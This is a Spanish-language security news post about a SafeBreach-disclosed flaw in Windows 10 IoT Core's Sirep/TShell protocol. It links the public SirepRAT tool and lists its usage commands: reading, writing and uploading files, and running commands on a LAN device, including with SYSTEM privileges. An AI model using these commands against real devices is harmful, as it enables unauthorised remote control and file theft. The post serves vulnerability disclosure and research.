Nuevo exploit para ownear dispositivos con Windows IoT Core

Windows 10 IoT Core es el sucesor de Windows Embedded y actualmente 2 de cada 10 dispositivos IoT utilizan el sistema operativo de M$ (Linux prácticamente copa el mercado).

Recientemente, en la conferencia de seguridad WOPR Summit de Nueva Jersey, la investigadora Dor Azouri de SafeBreach ha publicado un exploit que aprovecha una vulnerabilidad del protocolo de comunicaciones Sirep/WPCon/TShell y que puede permitir a un atacante ejecutar comandos con privilegios de SYSTEM.

Básicamente, lo que hicieron fue romper el protocolo y demostrar cómo expone una interfaz de comando remoto para los atacantes, que incluye capacidades RAT como descargar o subir archivos arbitrarios y obtener información del sistema.

Eso sí, para comprometer al dispositivo IoT es necesario estar en la misma LAN que el dispositivo y la vulnerabilidad sólo afecta a la versión Core asÌ que Windows IoT Enterprise parece estar a salvo (de momento).

Sobre la base de la investigación sobre el servicio y el protocolo, crearon además una herramienta escrita en Python llamada SirepRAT que ya podemos encontrar en Github:

https://github.com/SafeBreach-Labs/SirepRAT

Descargar archivo

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" -v

Subir archivo

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Ejecutar cualquier programa

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

Con argumentos, impersonando al usuario actualmente conectado:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Intenta ejecutarlo sin el flag as_logged_on_user para demostrar la capacidad de ejecución con SYSTEM)

Conseguir información del sistema

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Obtener información de un fichero

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

Ver ayuda:

python SirepRAT.py --help

Fuentes:

https://www.woprsummit.org/talks
https://www.muyseguridad.net/2019/03/04/vulnerabilidad-en-windows-iot-core/
https://www.zdnet.com/article/new-exploit-lets-attackers-take-control-of-windows-iot-core-devices/

Comentarios